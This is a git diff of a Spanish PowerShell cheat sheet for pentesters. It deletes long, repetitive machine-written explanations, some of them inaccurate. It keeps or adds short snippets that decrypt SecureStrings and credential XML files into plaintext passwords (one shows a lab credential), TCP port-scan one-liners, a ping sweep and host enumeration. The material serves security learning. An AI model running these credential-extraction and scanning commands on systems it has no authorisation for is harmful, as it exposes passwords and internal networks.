el análisis de scripts de PowerShell debe realizarse de manera ética y legal, y solo en entornos autorizados. +## De Secure String a Texto Plano ```powershell $pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring $user = "HTB\Tom" @@ -569,7 +254,7 @@ Password : 1ts-mag1c!!! SecurePassword : System.Security.SecureString Domain : HTB ``` -O bien, analizando directamente desde XML: +O directamente analizando desde XML: ```powershell $cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List * @@ -579,46 +264,6 @@ SecurePassword : System.Security.SecureString Domain : HTB ``` ## SUDO - -El comando `sudo` es una herramienta comúnmente utilizada en sistemas operativos basados en Unix para permitir a los usuarios ejecutar comandos con privilegios de superusuario. Esto es útil cuando se necesita realizar tareas administrativas que requieren permisos elevados. - -### Uso básico - -El formato básico para usar `sudo` es el siguiente: - -``` -sudo comando -``` - -Por ejemplo, si queremos reiniciar el sistema, podemos usar el siguiente comando: - -``` -sudo reboot -``` - -### Autenticación - -Cuando se ejecuta un comando con `sudo`, se solicitará al usuario que proporcione su contraseña. Esto es para asegurarse de que el usuario tiene los permisos adecuados para ejecutar el comando con privilegios de superusuario. - -### Ejecución de comandos como otro usuario - -Además de ejecutar comandos como superusuario, `sudo` también permite ejecutar comandos como otro usuario. Para hacer esto, se utiliza la opción `-u` seguida del nombre de usuario. - -Por ejemplo, si queremos ejecutar el comando `ls` como el usuario `johndoe`, podemos usar el siguiente comando: - -``` -sudo -u johndoe ls -``` - -### Configuración de `sudo` - -La configuración de `sudo` se encuentra en el archivo `/etc/sudoers`. Este archivo define qué usuarios tienen permiso para ejecutar comandos con `sudo` y qué comandos pueden ejecutar. - -Es importante tener cuidado al modificar este archivo, ya que cualquier error puede resultar en la denegación de acceso a los comandos de superusuario. - -### Conclusiones - -El comando `sudo` es una herramienta poderosa que permite a los usuarios ejecutar comandos con privilegios de superusuario. Sin embargo, es importante utilizarlo con precaución y solo cuando sea necesario, para evitar posibles problemas de seguridad. ```powershell #CREATE A CREDENTIAL OBJECT $pass = ConvertTo-SecureString '' -AsPlainText -Force @@ -641,515 +286,55 @@ $mycreds = New-Object System.Management.Automation.PSCredential ("", $secp $computer = "" ``` ## Grupos - ---- - -### Introduction - -### Introducción - -In Windows, groups are used to organize and manage user accounts. Groups allow you to assign permissions and access rights to multiple users at once, making it easier to manage security and access control. - -En Windows, los grupos se utilizan para organizar y gestionar las cuentas de usuario. Los grupos permiten asignar permisos y derechos de acceso a varios usuarios a la vez, lo que facilita la gestión de la seguridad y el control de acceso. - -### Types of Groups - -### Tipos de Grupos - -There are two types of groups in Windows: - -Existen dos tipos de grupos en Windows: - -1. **Local Groups**: These groups are created on a local machine and can only be used to grant permissions and access rights on that specific machine. - -1. **Grupos locales**: Estos grupos se crean en una máquina local y solo se pueden utilizar para otorgar permisos y derechos de acceso en esa máquina específica. - -2. **Domain Groups**: These groups are created in a Windows domain and can be used to grant permissions and access rights across multiple machines within the domain. - -2. **Grupos de dominio**: Estos grupos se crean en un dominio de Windows y se pueden utilizar para otorgar permisos y derechos de acceso en varias máquinas dentro del dominio. - -### Group Membership - -### Pertenencia a Grupos - -Users can be members of one or more groups. Group membership allows users to inherit the permissions and access rights assigned to the group. - -Los usuarios pueden ser miembros de uno o más grupos. La pertenencia a un grupo permite a los usuarios heredar los permisos y derechos de acceso asignados al grupo. - -### Default Groups - -### Grupos Predeterminados - -Windows has several default groups that are created automatically during the installation process. These groups have predefined permissions and access rights. - -Windows tiene varios grupos predeterminados que se crean automáticamente durante el proceso de instalación. Estos grupos tienen permisos y derechos de acceso predefinidos. - -Some of the commonly used default groups include: - -Algunos de los grupos predeterminados comúnmente utilizados incluyen: - -- **Administrators**: Members of this group have full control over the system and can perform any administrative tasks. - -- **Administradores**: Los miembros de este grupo tienen control total sobre el sistema y pueden realizar cualquier tarea administrativa. - -- **Users**: Members of this group have standard user privileges and can perform common tasks. - -- **Usuarios**: Los miembros de este grupo tienen privilegios de usuario estándar y pueden realizar tareas comunes. - -- **Guests**: Members of this group have limited privileges and are typically used for guest or temporary accounts. - -- **Invitados**: Los miembros de este grupo tienen privilegios limitados y se utilizan típicamente para cuentas de invitados o temporales. - -### Creating and Managing Groups - -### Creación y Gestión de Grupos - -To create and manage groups in Windows, you can use the PowerShell command-line interface. PowerShell provides a set of cmdlets specifically designed for managing groups. - -Para crear y gestionar grupos en Windows, puedes utilizar la interfaz de línea de comandos de PowerShell. PowerShell proporciona un conjunto de cmdlets específicamente diseñados para gestionar grupos. - -Here are some common PowerShell cmdlets for managing groups: - -Aquí tienes algunos cmdlets comunes de PowerShell para gestionar grupos: - -- `New-LocalGroup`: Creates a new local group. - -- `New-LocalGroup`: Crea un nuevo grupo local. - -- `Add-LocalGroupMember`: Adds a user or group to a local group. - -- `Add-LocalGroupMember`: Agrega un usuario o grupo a un grupo local. - -- `Get-LocalGroup`: Retrieves information about local groups. - -- `Get-LocalGroup`: Obtiene información sobre los grupos locales. - -- `Remove-LocalGroup`: Deletes a local group. - -- `Remove-LocalGroup`: Elimina un grupo local. - -- `New-ADGroup`: Creates a new domain group. - -- `New-ADGroup`: Crea un nuevo grupo de dominio. - -- `Add-ADGroupMember`: Adds a user or group to a domain group. - -- `Add-ADGroupMember`: Agrega un usuario o grupo a un grupo de dominio. - -- `Get-ADGroup`: Retrieves information about domain groups. - -- `Get-ADGroup`: Obtiene información sobre los grupos de dominio. - -- `Remove-ADGroup`: Deletes a domain group. - -- `Remove-ADGroup`: Elimina un grupo de dominio. - -These cmdlets can be used to perform various group management tasks, such as creating new groups, adding or removing members, and retrieving information about existing groups. - -Estos cmdlets se pueden utilizar para realizar diversas tareas de gestión de grupos, como crear nuevos grupos, agregar o eliminar miembros y obtener información sobre los grupos existentes. ```powershell Get-LocalGroup | ft Name #All groups Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators ``` ## Portapapeles - -El portapapeles es una función en el sistema operativo que permite copiar y pegar texto, imágenes y otros datos entre diferentes aplicaciones. En PowerShell, puedes acceder al contenido del portapapeles utilizando el cmdlet `Get-Clipboard` y puedes establecer el contenido del portapapeles utilizando el cmdlet `Set-Clipboard`. - -### Obtener el contenido del portapapeles - -Para obtener el contenido del portapapeles en PowerShell, puedes usar el cmdlet `Get-Clipboard`. Aquí tienes un ejemplo: - -```powershell -$clipboardContent = Get-Clipboard -``` - -### Establecer el contenido del portapapeles - -Para establecer el contenido del portapapeles en PowerShell, puedes usar el cmdlet `Set-Clipboard`. Aquí tienes un ejemplo: - -```powershell -Set-Clipboard -Value "Texto para copiar al portapapeles" -``` - -### Usos maliciosos del portapapeles - -El portapapeles puede ser utilizado de manera maliciosa por los atacantes para robar información sensible. Por ejemplo, un atacante puede utilizar técnicas de phishing para engañar a los usuarios y copiar información confidencial en el portapapeles sin su conocimiento. También es posible que un atacante utilice malware para monitorear el contenido del portapapeles y robar información sensible, como contraseñas o números de tarjetas de crédito. - -Para protegerse contra estos ataques, es importante tener cuidado al copiar y pegar información sensible y asegurarse de que las aplicaciones y sistemas utilizados sean seguros y confiables. Además, es recomendable utilizar herramientas de seguridad, como antivirus y firewalls, para detectar y prevenir posibles ataques. - -### Conclusiones - -El portapapeles es una función útil en el sistema operativo que permite copiar y pegar datos entre aplicaciones. Sin embargo, también puede ser utilizado de manera maliciosa por los atacantes para robar información sensible. Es importante tomar precauciones al utilizar el portapapeles y asegurarse de proteger la información confidencial. ```powershell Get-Clipboard ``` ## Procesos - -### Introduction - -### Introducción - -Processes are the running instances of programs on a computer system. Understanding how processes work and how to interact with them is essential for a pentester. In this section, we will explore basic PowerShell commands for managing and interacting with processes. - -Los procesos son las instancias en ejecución de programas en un sistema informático. Comprender cómo funcionan los procesos y cómo interactuar con ellos es esencial para un pentester. En esta sección, exploraremos comandos básicos de PowerShell para administrar e interactuar con procesos. - -### Listing Processes - -### Listado de procesos - -To list all the processes running on a system, you can use the `Get-Process` command. This command will display information such as the process ID (PID), name, and CPU usage for each process. - -Para listar todos los procesos en ejecución en un sistema, puedes utilizar el comando `Get-Process`. Este comando mostrará información como el ID del proceso (PID), el nombre y el uso de la CPU para cada proceso. - -```powershell -Get-Process -``` - -### Killing a Process - -### Finalizar un proceso - -To terminate a process, you can use the `Stop-Process` command followed by the process ID (PID) or the process name. This command will forcefully terminate the specified process. - -Para finalizar un proceso, puedes utilizar el comando `Stop-Process` seguido del ID del proceso (PID) o del nombre del proceso. Este comando finalizará de forma forzada el proceso especificado. - -```powershell -Stop-Process -ID -``` - -```powershell -Stop-Process -Name -``` - -### Starting a Process - -### Iniciar un proceso - -To start a new process, you can use the `Start-Process` command followed by the path to the executable file. This command will launch the specified program. - -Para iniciar un nuevo proceso, puedes utilizar el comando `Start-Process` seguido de la ruta al archivo ejecutable. Este comando iniciará el programa especificado. - -```powershell -Start-Process -FilePath -``` - -### Conclusion - -### Conclusión - -Understanding how to manage and interact with processes using PowerShell is crucial for a pentester. By mastering these basic commands, you will be able to effectively monitor and control processes on a target system. - -Comprender cómo administrar e interactuar con procesos utilizando PowerShell es crucial para un pentester. Al dominar estos comandos básicos, podrás monitorear y controlar eficazmente los procesos en un sistema objetivo. ```powershell Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` ## Servicios - -### Introduction - -### Introducción - -In this section, we will cover some basic PowerShell commands that can be useful for pentesters when performing Windows hardening assessments. These commands can help you gather information about running services, manage services, and perform various tasks related to services. - -En esta sección, cubriremos algunos comandos básicos de PowerShell que pueden ser útiles para los pentesters al realizar evaluaciones de endurecimiento de Windows. Estos comandos pueden ayudarte a recopilar información sobre los servicios en ejecución, administrar servicios y realizar diversas tareas relacionadas con los servicios. - -### Gathering Information about Services - -### Recopilación de información sobre los servicios - -To gather information about running services on a Windows system, you can use the `Get-Service` command. This command retrieves a list of all services on the system along with their status. - -Para recopilar información sobre los servicios en ejecución en un sistema Windows, puedes utilizar el comando `Get-Service`. Este comando recupera una lista de todos los servicios en el sistema junto con su estado. - -```powershell -Get-Service -``` - -This command will display a table with the following information for each service: - -Este comando mostrará una tabla con la siguiente información para cada servicio: - -- `Status`: The status of the service (Running, Stopped, etc.) -- `Name`: The name of the service -- `DisplayName`: The display name of the service -- `PSComputerName`: The name of the computer where the service is running (useful for remote systems) - -- `Status`: El estado del servicio (Ejecutándose, Detenido, etc.) -- `Name`: El nombre del servicio -- `DisplayName`: El nombre para mostrar del servicio -- `PSComputerName`: El nombre de la computadora donde se está ejecutando el servicio (útil para sistemas remotos) - -You can also filter the results to display only specific services. For example, to display only running services, you can use the `Where-Object` command: - -También puedes filtrar los resultados para mostrar solo servicios específicos. Por ejemplo, para mostrar solo los servicios en ejecución, puedes utilizar el comando `Where-Object`: - -```powershell -Get-Service | Where-Object { $_.Status -eq "Running" } -``` - -This command will display a list of only the running services. - -Este comando mostrará una lista solo de los servicios en ejecución. - -### Managing Services - -### Administración de servicios - -PowerShell provides several commands to manage services on a Windows system. Here are some commonly used commands: - -PowerShell proporciona varios comandos para administrar servicios en un sistema Windows. Aquí hay algunos comandos comúnmente utilizados: - -- `Start-Service`: Starts a service. -- `Stop-Service`: Stops a service. -- `Restart-Service`: Restarts a service. -- `Set-Service`: Modifies the properties of a service. -- `New-Service`: Creates a new service. -- `Remove-Service`: Removes a service. - -- `Start-Service`: Inicia un servicio. -- `Stop-Service`: Detiene un servicio. -- `Restart-Service`: Reinicia un servicio. -- `Set-Service`: Modifica las propiedades de un servicio. -- `New-Service`: Crea un nuevo servicio. -- `Remove-Service`: Elimina un servicio. - -To use these commands, you need to specify the name of the service. For example, to start the "Print Spooler" service, you can use the following command: - -Para utilizar estos comandos, debes especificar el nombre del servicio. Por ejemplo, para iniciar el servicio "Print Spooler", puedes utilizar el siguiente comando: - -```powershell -Start-Service -Name "Spooler" -``` - -This command will start the "Print Spooler" service. - -Este comando iniciará el servicio "Print Spooler". - -### Conclusion - -### Conclusión - -In this section, we covered some basic PowerShell commands for gathering information about services and managing services on a Windows system. These commands can be useful for pentesters during Windows hardening assessments. - -En esta sección, cubrimos algunos comandos básicos de PowerShell para recopilar información sobre los servicios y administrar servicios en un sistema Windows. Estos comandos pueden ser útiles para los pentesters durante las evaluaciones de endurecimiento de Windows. ``` Get-Service ``` -## Contraseña desde una cadena segura - -To securely store and retrieve passwords in PowerShell, you can use the `ConvertTo-SecureString` and `ConvertFrom-SecureString` cmdlets. These cmdlets allow you to convert a password to a secure string and then convert it back to a plain text password when needed. - -### Convertir una contraseña a una cadena segura - -Para convertir una contraseña a una cadena segura, puedes utilizar el siguiente comando: - -```powershell -$securePassword = Read-Host -AsSecureString -$secureString = ConvertFrom-SecureString -SecureString $securePassword -$secureString | Out-File -FilePath "C:\path\to\securestring.txt" -``` - -Este comando solicitará al usuario que ingrese la contraseña y luego la convertirá a una cadena segura. A continuación, la cadena segura se guardará en un archivo de texto en la ubicación especificada. - -### Recuperar una contraseña desde una cadena segura - -Para recuperar una contraseña desde una cadena segura, puedes utilizar el siguiente comando: - -```powershell -$secureString = Get-Content -Path "C:\path\to\securestring.txt" | ConvertTo-SecureString -$plainTextPassword = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString)) -``` - -Este comando leerá la cadena segura desde el archivo de texto y la convertirá de nuevo a una contraseña en texto plano. La contraseña en texto plano se almacenará en la variable `$plainTextPassword` y se puede utilizar según sea necesario. - -Recuerda que al utilizar este método, debes asegurarte de proteger adecuadamente el archivo que contiene la cadena segura, ya que cualquier persona que tenga acceso a este archivo podría recuperar la contraseña en texto plano. +## Contraseña de cadena segura ```powershell $pw=gc admin-pass.xml | convertto-securestring #Get the securestring from the file $cred=new-object system.management.automation.pscredential("administrator", $pw) $cred.getnetworkcredential() | fl * #Get plaintext password ``` -## Tareas programadas - -Scheduled tasks are a powerful feature in Windows that allow you to automate the execution of scripts or programs at specific times or intervals. As a pentester, understanding how to manipulate and exploit scheduled tasks can be valuable for gaining persistence and executing malicious actions on a target system. - -Las tareas programadas son una característica poderosa en Windows que te permite automatizar la ejecución de scripts o programas en momentos o intervalos específicos. Como pentester, entender cómo manipular y explotar las tareas programadas puede ser valioso para obtener persistencia y ejecutar acciones maliciosas en un sistema objetivo. - -### Viewing Scheduled Tasks - -### Ver tareas programadas - -To view the list of scheduled tasks on a Windows system, you can use the `Get-ScheduledTask` cmdlet in PowerShell. This cmdlet retrieves information about all the scheduled tasks on the local system or a remote system. - -Para ver la lista de tareas programadas en un sistema Windows, puedes utilizar el cmdlet `Get-ScheduledTask` en PowerShell. Este cmdlet recupera información sobre todas las tareas programadas en el sistema local o en un sistema remoto. - -```powershell -Get-ScheduledTask -``` - -### Creating Scheduled Tasks - -### Crear tareas programadas - -To create a new scheduled task, you can use the `New-ScheduledTask` cmdlet in PowerShell. This cmdlet allows you to specify the script or program to be executed, the trigger that defines when the task should run, and other settings such as the user account under which the task should run. - -Para crear una nueva tarea programada, puedes utilizar el cmdlet `New-ScheduledTask` en PowerShell. Este cmdlet te permite especificar el script o programa que se ejecutará, el desencadenador que define cuándo debe ejecutarse la tarea y otras configuraciones como la cuenta de usuario bajo la cual debe ejecutarse la tarea. - -```powershell -New-ScheduledTask -Action (New-ScheduledTaskAction -Execute "C:\path\to\script.ps1") -Trigger (New-ScheduledTaskTrigger -Daily -At 3am) -User "DOMAIN\username" -Password "password" -``` - -### Modifying Scheduled Tasks - -### Modificar tareas programadas - -To modify an existing scheduled task, you can use the `Set-ScheduledTask` cmdlet in PowerShell. This cmdlet allows you to change various properties of the task, such as the script or program to be executed, the trigger, and the user account. - -Para modificar una tarea programada existente, puedes utilizar el cmdlet `Set-ScheduledTask` en PowerShell. Este cmdlet te permite cambiar varias propiedades de la tarea, como el script o programa que se ejecutará, el desencadenador y la cuenta de usuario. - -```powershell -Set-ScheduledTask -TaskPath "\Folder" -TaskName "TaskName" -Action (New-ScheduledTaskAction -Execute "C:\path\to\newscript.ps1") -Trigger (New-ScheduledTaskTrigger -Daily -At 4am) -User "DOMAIN\username" -Password "password" -``` - -### Deleting Scheduled Tasks - -### Eliminar tareas programadas - -To delete a scheduled task, you can use the `Unregister-ScheduledTask` cmdlet in PowerShell. This cmdlet removes the specified task from the system. - -Para eliminar una tarea programada, puedes utilizar el cmdlet `Unregister-ScheduledTask` en PowerShell. Este cmdlet elimina la tarea especificada del sistema. - -```powershell -Unregister-ScheduledTask -TaskPath "\Folder" -TaskName "TaskName" -``` - -### Disabling Scheduled Tasks - -### Deshabilitar tareas programadas - -To disable a scheduled task, you can use the `Disable-ScheduledTask` cmdlet in PowerShell. This cmdlet prevents the task from running according to its trigger. - -Para deshabilitar una tarea programada, puedes utilizar el cmdlet `Disable-ScheduledTask` en PowerShell. Este cmdlet evita que la tarea se ejecute según su desencadenador. - -```powershell -Disable-ScheduledTask -TaskPath "\Folder" -TaskName "TaskName" -``` - -### Enabling Scheduled Tasks - -### Habilitar tareas programadas - -To enable a disabled scheduled task, you can use the `Enable-ScheduledTask` cmdlet in PowerShell. This cmdlet allows the task to run according to its trigger. - -Para habilitar una tarea programada deshabilitada, puedes utilizar el cmdlet `Enable-ScheduledTask` en PowerShell. Este cmdlet permite que la tarea se ejecute según su desencadenador. - -```powershell -Enable-ScheduledTask -TaskPath "\Folder" -TaskName "TaskName" -``` +## Tareas Programadas ```powershell Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State +``` +## Red + +### Escaneo de Puertos +```powershell +# Check Port or Single IP +Test-NetConnection -Port 80 10.10.10.10 + +# Check Port List in Single IP +80,443,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.10.10.10",$_)) "Port $_ is open!"} 2>$null + +# Check Port Range in single IP +1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("10.10.10.10", $_)) "TCP port $_ is open"} 2>$null + +# Check Port List in IP Lists - 80,443,445,8080 +"10.10.10.10","10.10.10.11" | % { $a = $_; write-host "[INFO] Testing $_ ..."; 80,443,445,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("$a",$_)) "$a : $_ is open!"} 2>$null} + ``` ### Interfaces - -Las interfaces son los puntos de conexión entre un dispositivo y una red. En Windows, se pueden utilizar comandos de PowerShell para administrar y configurar las interfaces de red. - -#### Obtener información de las interfaces - -Para obtener información sobre las interfaces de red en Windows, puedes utilizar el siguiente comando de PowerShell: - -```powershell -Get-NetAdapter -``` - -Este comando mostrará una lista de todas las interfaces de red en el sistema, incluyendo su nombre, descripción, estado y dirección MAC. - -#### Habilitar o deshabilitar una interfaz - -Puedes habilitar o deshabilitar una interfaz de red utilizando los siguientes comandos de PowerShell: - -```powershell -Enable-NetAdapter -Name "Nombre de la interfaz" -Disable-NetAdapter -Name "Nombre de la interfaz" -``` - -Reemplaza "Nombre de la interfaz" con el nombre de la interfaz que deseas habilitar o deshabilitar. - -#### Cambiar la dirección MAC de una interfaz - -Puedes cambiar la dirección MAC de una interfaz de red utilizando el siguiente comando de PowerShell: - -```powershell -Set-NetAdapter -Name "Nombre de la interfaz" -MacAddress "Nueva dirección MAC" -``` - -Reemplaza "Nombre de la interfaz" con el nombre de la interfaz a la que deseas cambiar la dirección MAC, y "Nueva dirección MAC" con la dirección MAC que deseas asignar. - -#### Configurar una dirección IP estática - -Puedes configurar una dirección IP estática en una interfaz de red utilizando el siguiente comando de PowerShell: - -```powershell -New-NetIPAddress -InterfaceAlias "Nombre de la interfaz" -IPAddress "Dirección IP" -PrefixLength "Longitud del prefijo" -``` - -Reemplaza "Nombre de la interfaz" con el nombre de la interfaz en la que deseas configurar la dirección IP, "Dirección IP" con la dirección IP que deseas asignar y "Longitud del prefijo" con la longitud del prefijo de la máscara de subred. - -#### Configurar una dirección IP dinámica (DHCP) - -Puedes configurar una dirección IP dinámica (DHCP) en una interfaz de red utilizando el siguiente comando de PowerShell: - -```powershell -Set-NetIPInterface -InterfaceAlias "Nombre de la interfaz" -Dhcp Enabled -``` - -Reemplaza "Nombre de la interfaz" con el nombre de la interfaz en la que deseas configurar la dirección IP dinámica. - -#### Cambiar la métrica de una interfaz - -Puedes cambiar la métrica de una interfaz de red utilizando el siguiente comando de PowerShell: - -```powershell -Set-NetIPInterface -InterfaceAlias "Nombre de la interfaz" -InterfaceMetric "Nueva métrica" -``` - -Reemplaza "Nombre de la interfaz" con el nombre de la interfaz a la que deseas cambiar la métrica, y "Nueva métrica" con el valor de la nueva métrica que deseas asignar. - -#### Configurar DNS en una interfaz - -Puedes configurar los servidores DNS en una interfaz de red utilizando el siguiente comando de PowerShell: - -```powershell -Set-DnsClientServerAddress -InterfaceAlias "Nombre de la interfaz" -ServerAddresses "Direcciones de servidor DNS separadas por comas" -``` - -Reemplaza "Nombre de la interfaz" con el nombre de la interfaz en la que deseas configurar los servidores DNS, y "Direcciones de servidor DNS separadas por comas" con las direcciones IP de los servidores DNS que deseas asignar, separadas por comas. - -Estos son solo algunos ejemplos de cómo utilizar PowerShell para administrar y configurar las interfaces de red en Windows. PowerShell ofrece muchas más opciones y comandos para trabajar con las interfaces de red, por lo que te recomiendo explorar la documentación oficial de PowerShell para obtener más información. ```powershell Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` -### Firewall - -Un firewall es una medida de seguridad crucial para proteger una red de posibles amenazas externas. Actúa como una barrera entre la red interna y el mundo exterior, controlando el tráfico de red y permitiendo o bloqueando ciertas conexiones según las reglas establecidas. - -En Windows, el firewall se puede configurar utilizando PowerShell. PowerShell es una herramienta de línea de comandos y scripting que permite a los pentesters automatizar tareas y realizar acciones específicas en un sistema Windows. - -A continuación se muestra un ejemplo de cómo utilizar PowerShell para configurar el firewall en Windows: - -```powershell -# Habilitar el firewall -Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True - -# Permitir el tráfico entrante en un puerto específico -New-NetFirewallRule -DisplayName "Allow Port 80" -Direction Inbound -Protocol TCP -LocalPort 80 -Action Allow - -# Bloquear el tráfico saliente hacia una dirección IP específica -New-NetFirewallRule -DisplayName "Block Outgoing Traffic" -Direction Outbound -RemoteAddress 192.168.0.1 -Action Block -``` - -En el ejemplo anterior, se habilita el firewall para los perfiles de red de dominio, público y privado. Luego, se crea una regla para permitir el tráfico entrante en el puerto 80 y otra regla para bloquear el tráfico saliente hacia la dirección IP 192.168.0.1. - -El uso de PowerShell para configurar el firewall en Windows ofrece a los pentesters una forma eficiente de fortalecer la seguridad de un sistema y protegerlo contra posibles ataques. +### Cortafuegos ```powershell Get-NetFirewallRule -Enabled True @@ -1166,190 +351,52 @@ New-NetFirewallRule -DisplayName 'SSH (Port 22)' -Direction Inbound -LocalPort 2 Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, @{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Profile,Direction,Action ``` ### Ruta - ---- - -#### Description - -This module provides information about the network routes on the target system. - -#### Usage - -``` -route -``` - -#### Example - -``` -route -``` - ---- - -#### Descripción - -Este módulo proporciona información sobre las rutas de red en el sistema objetivo. - -#### Uso - -``` -route -``` - -#### Ejemplo - -``` -route -``` ```powershell route print ``` ### ARP - -El Protocolo de Resolución de Direcciones (ARP, por sus siglas en inglés) es un protocolo de red utilizado para asociar direcciones IP con direcciones MAC en una red local. ARP se utiliza para descubrir la dirección MAC de un dispositivo en la misma red local, dado su dirección IP. - -El funcionamiento básico de ARP implica que un dispositivo envíe una solicitud ARP (ARP request) a la red local, preguntando por la dirección MAC asociada a una dirección IP específica. El dispositivo con la dirección IP solicitada responderá con un mensaje ARP (ARP reply) que contiene su dirección MAC. - -ARP es ampliamente utilizado en redes Ethernet y es esencial para el funcionamiento de la comunicación en una red local. Sin embargo, también puede ser utilizado en ataques de suplantación de identidad (spoofing) y envenenamiento de ARP (ARP poisoning) para interceptar y manipular el tráfico de red. ```powershell Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State ``` ### Hosts - -Los archivos de hosts son utilizados por el sistema operativo para mapear nombres de dominio a direcciones IP. Esto se hace para evitar la necesidad de consultar un servidor DNS cada vez que se accede a un sitio web. En Windows, el archivo de hosts se encuentra en la siguiente ubicación: - -``` -C:\Windows\System32\drivers\etc\hosts -``` - -Puedes editar este archivo para redirigir nombres de dominio a direcciones IP diferentes. Esto puede ser útil en situaciones de prueba de penetración, donde deseas redirigir un nombre de dominio a tu propia máquina para realizar pruebas. - -Sin embargo, ten en cuenta que modificar el archivo de hosts puede tener consecuencias no deseadas y afectar el funcionamiento normal del sistema. Asegúrate de hacer una copia de seguridad del archivo original antes de realizar cualquier modificación. - -### PowerShell - -PowerShell es una herramienta de línea de comandos y scripting desarrollada por Microsoft. Es especialmente útil para los profesionales de la seguridad informática, ya que proporciona una amplia gama de funcionalidades para la automatización de tareas y la administración de sistemas. - -PowerShell utiliza un lenguaje de scripting basado en .NET Framework, lo que le permite interactuar con una amplia variedad de servicios y componentes del sistema operativo. También es compatible con la ejecución de comandos remotos en sistemas Windows, lo que lo convierte en una herramienta valiosa para los pentesters. - -En este directorio, encontrarás algunos scripts básicos de PowerShell que pueden ser útiles para los pentesters. Estos scripts abarcan desde la enumeración de información del sistema hasta la ejecución de comandos remotos en máquinas Windows. - -Recuerda que el uso de PowerShell para fines maliciosos o sin el consentimiento del propietario del sistema es ilegal y éticamente incorrecto. Asegúrate de utilizar estas herramientas solo con fines legítimos y dentro de los límites de la ley. ```powershell Get-Content C:\WINDOWS\System32\drivers\etc\hosts ``` ### Ping - -El comando `ping` se utiliza para verificar la conectividad entre dos dispositivos en una red. Envía un paquete de datos a la dirección IP de destino y espera una respuesta. Esto permite determinar si el dispositivo de destino está accesible y cuánto tiempo tarda en responder. - -#### Uso básico - -``` -ping -``` - -Por ejemplo: - -``` -ping 192.168.0.1 -``` - -#### Opciones comunes - -- `-t`: Envía paquetes de ping de forma continua hasta que se detenga manualmente. -- `-n `: Especifica el número de paquetes de ping que se enviarán. -- `-l `: Especifica el tamaño del paquete de ping en bytes. -- `-w `: Especifica el tiempo de espera en milisegundos para recibir una respuesta. - -Por ejemplo: - -``` -ping -t 192.168.0.1 -ping -n 5 192.168.0.1 -ping -l 1000 192.168.0.1 -ping -w 2000 192.168.0.1 -``` - -#### Interpretación de los resultados - -- `Respuesta desde : bytes= tiempo=ms TTL=`: Indica que se recibió una respuesta exitosa desde la dirección IP especificada. -- `Tiempo de espera agotado para esta solicitud.`: Indica que no se recibió una respuesta dentro del tiempo de espera especificado. -- `Solicitud expirada.`: Indica que el paquete de ping no pudo alcanzar su destino debido a un problema en la red. -- `Host de destino inaccesible.`: Indica que el dispositivo de destino no está accesible o no existe en la red. - -#### Consideraciones de seguridad - -El comando `ping` puede revelar información sensible sobre la red, como direcciones IP y nombres de host. Por lo tanto, es importante tener en cuenta las consideraciones de seguridad al utilizar este comando en un entorno de pentesting. ```powershell $ping = New-Object System.Net.Networkinformation.Ping 1..254 | % { $ping.send("10.9.15.$_") | select address, status } ``` ### SNMP - -El Protocolo Simple de Administración de Red (SNMP, por sus siglas en inglés) es un protocolo de red utilizado para administrar y supervisar dispositivos en una red. SNMP permite a los administradores de red recopilar información sobre el estado y el rendimiento de los dispositivos, así como realizar acciones de administración, como reiniciar un dispositivo o cambiar su configuración. - -SNMP utiliza un modelo cliente-servidor, donde los dispositivos administrados actúan como servidores SNMP y los sistemas de administración actúan como clientes SNMP. Los dispositivos administrados exponen información en forma de objetos gestionados, que pueden ser consultados y modificados por los clientes SNMP. - -Los comandos SNMP más comunes son: - -- **GET**: utilizado para obtener el valor de un objeto gestionado. -- **SET**: utilizado para cambiar el valor de un objeto gestionado. -- **GETNEXT**: utilizado para obtener el siguiente objeto gestionado en una secuencia. -- **GETBULK**: utilizado para obtener múltiples objetos gestionados en una sola solicitud. - -SNMP utiliza una estructura de datos llamada Protocolo de Datos de Administración Simple (SMP, por sus siglas en inglés) para representar la información. SMP define una jerarquía de objetos gestionados organizados en una estructura de árbol. Cada objeto gestionado tiene un identificador único llamado Identificador de Objeto (OID, por sus siglas en inglés). - -Los sistemas de administración SNMP pueden utilizar el lenguaje de consulta SNMP (SNMP Query Language, SQL) para realizar consultas y filtrar la información obtenida. SQL permite a los administradores de red especificar los objetos gestionados que desean consultar y los criterios de filtrado que deben cumplir. - -SNMP es ampliamente utilizado en redes empresariales para supervisar y administrar dispositivos de red, como enrutadores, conmutadores y servidores. Sin embargo, también puede ser utilizado por atacantes para obtener información sensible sobre la red y los dispositivos administrados. Por lo tanto, es importante asegurar adecuadamente los dispositivos SNMP y limitar el acceso a ellos para evitar posibles ataques. ```powershell Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse ``` -## **Convirtiendo la cadena SDDL en un formato legible** - -Cuando se realiza una evaluación de seguridad en un entorno de Windows, a menudo es necesario analizar los permisos y configuraciones de seguridad de los objetos del sistema. Una forma común de representar estos permisos es mediante una cadena SDDL (Security Descriptor Definition Language). Sin embargo, la cadena SDDL puede ser difícil de leer 